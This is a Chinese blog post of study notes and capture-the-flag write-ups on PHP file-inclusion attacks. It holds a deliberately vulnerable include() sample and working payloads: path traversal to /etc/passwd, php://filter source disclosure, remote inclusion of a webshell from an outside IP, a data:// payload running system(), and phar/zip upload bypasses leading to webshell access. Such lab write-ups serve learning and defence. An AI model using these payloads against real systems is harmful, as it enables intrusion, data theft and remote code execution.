7.24 文件包含学习笔记

BUU LFI COURSE 1(读取文件)

代码如下

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

他是可以读取任意文件内容的

1.绝对路径

比如尝试传入绝对路径 file=/etc/passwd,就能回显

image.png

尝试根目录下的flag文件,直接拿到flag

image.png

2.相对路径

补充:一般linux服务器下的网页是在/var/www/html内,我们可以尝试相对路径来验证我们的想法。

尝试传入

?file=../../..//flag

../ 是上一层目录。

image.png

答案是可以的。

3.返回上一层目录 绕过

那假设他ban了我们这样子/etc/passwd怎么办呢?

我们可以进入一个不存在的文件‘ljy666’,然后利用‘../’返回上一层来尝试。

接下来看参考的payload。

?file=/etc/ljy666/../passwd

可以看到依旧是有回显的,也是顺利地完成读取文件操作。

image.png

4.file协议

image.png

从官方文档可以看到,php是支持file协议的,我们可以再在前面加一个file://

我们在第三个的基础上可以这样get传参

?file=file:///etc/ljy666/../passwd

image.png

发现OK,没问题

5. php协议查看源码

如果我们尝试这样写,他会循环读取文件

/index.php?file=index.php

自己读自己?然后再自己读自己,死循环确实难搞。

那该怎么解决呢?我们如果把它转换成其他编码,浏览器认不出来php代码 是不是就不会读了

Table of Contents 
ofile:// — 访问本地文件系统
ohttp:// — 访问 HTTP(s) 网址
oftp:// — 访问 FTP(s) URLs
ophp:// — 访问各个输入/输出流(I/O streams)
ozlib:// — 压缩流
odata:// — 数据(RFC 2397)
oglob:// — 查找匹配的文件路径模式
ophar:// — PHP 归档
ossh2:// — Secure Shell 2
orar:// — RAR
oogg:// — 音频流
oexpect:// — 处理交互式的流

可以在官方文档看到,php也支持一种叫php协议的东西,他是访问一个I/O流的。

很多时候他不会显示源码,例如php注释。那我们使用php协议编码协议是可以解决这个问题的

尝试使用filter来过滤绕过。

image.png

这种是比较常用的写法

/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

解释:使用php协议中的filter封装器,我们设定读取的时候使用base64编码加密转换,源文件就是当前目录下的index.php.]

尝试带入源代码中去

image.png

image.png

base64解密后确实如此。

image.png

resource前面也可以加一些不相关路径,不影响结果

6.远程代码生成webshell(http协议)

http://localhost:2048/include/aa.php?file=http://114.132.200.216/webshell.txt

o条件:allow_url_fopen、allow_url_include为on

image.png

设置完后重启phpstudy即可

image.png

image.png

可以看到确实生成了代码,接下来就是菜刀就完事了。

7.php://input

将php代码通过post执行

完整请求过程如下

image.png

8.data协议

o将php代码使用data://协议发送执行

odata://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

oallow_url_fopen、allow_url_include为on

比如我们传入 system("dir")

http://127.0.0.1:2048/include/aa.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

image.png

9.phar协议

o结合文件上传,将shell_dir.php压缩成shell_dir.zip,然后把压缩包重命名为shell_dir_zip.png

o然后上传shell_dir_zip.png

http://127.0.0.1:2048/include/aa.php?file=phar://shell_dir.zip/shell_dir.php

image.png

10.zip协议

o也支持使用zip://读取shell_dir_zip.png

与phar不同的是,压缩包后面文件的斜杠是用井号

zip://shell_dir.zip#shell_dir.php

image.png

11. 文件绕过

如果他要求一个png文件,我们在这里可以应用一个zip或者phar协议,依旧可以正常读取压缩包内的内容。

http://127.0.0.1:2048/include/aa.php?file=phar%3a%2f%2fshell_dir.zip.png%2fshell_dir.php
http://127.0.0.1:2048/include/aa.php?file=zip%3a%2f%2fshell_dir.zip.png%23shell_dir.php

image.png

安鸾靶场-LFI本地文件包含(phar协议绕过指定文件格式)

题目URL:http://106.15.50.112:8014

目录扫到upload.php

image.png

让我们上传一个png的文件

想到phar或者zip协议。

一句话木马写完后,我们压缩为zip格式后把后缀名改成.png后上传,phpinfo()是用来检验的

image.png

成功上传后,我们尝试读取文件

image.png

直接读肯定是不行的

image.png

我们尝试使用phar协议

payload参考

http://106.15.50.112:8014/index.php?file=phar://upload/202207240240312833.png/a.php

image.png

可以看到phpinfo出来了。

我们把连接放入蚁剑里面去

image.png

最后在文件根目录下找到flag

image.png

[BSidesCF 2020]Had a bad day(上一级目录 绕过白名单)

首先很明显,他是在读取一个文件的一个靶场环境

image.png

其中图像的连接为http://383dac65-fdd2-4944-a2dd-80de4544e579.node4.buuoj.cn:81/img/cat/8.jpg

我们尝试用flag.txt,他回显

Sorry, we currently only support woofers and meowers

看来必须要这两个。

而当我试了一下

http://383dac65-fdd2-4944-a2dd-80de4544e579.node4.buuoj.cn:81/index.php?category=woofers.php

发现他不是必须严格相等,好像是只要出现了就行。

我们尝试用php://filter看看能不能读取源文件,看看有没有什么隐藏的源代码。

参考payload如下,我这里用woofers迷惑了一下服务器,但是是可以运行的

php://filter/read=convert.base64-encode/woofers/resource=index.php

这边源代码看到报错

Failed opening 'php://filter/read=convert.base64-encode/woofers/resource=index.php.php'

看来,他给我们已经加上.php了。

我们去掉php后重试,得到了代码。

base64解密后,得到这样一个php代码

image.png

原来如此,确实给我们加上了.php,并且用了一个strpos()函数,简单来说就是如果返回false的话就是字符串里面没有这个关键字,有的话返回第一个出现的位置。看来是包含index也可以的

好歹更近了一步,知道了她的运行逻辑。

我们想到如果要读取到flag文件,又要包含关键字,我们想到使用上一级目录绕过。

参考payload如下

php://filter/read=convert.base64-encode/resource=./woofers666/../flag

这边resource前面不能加东西了。

得到base64字符串,解密得到flag

image.png

posted @ 2022-07-24 21:45  yuezi2048  阅读(53)  评论(0编辑  收藏  举报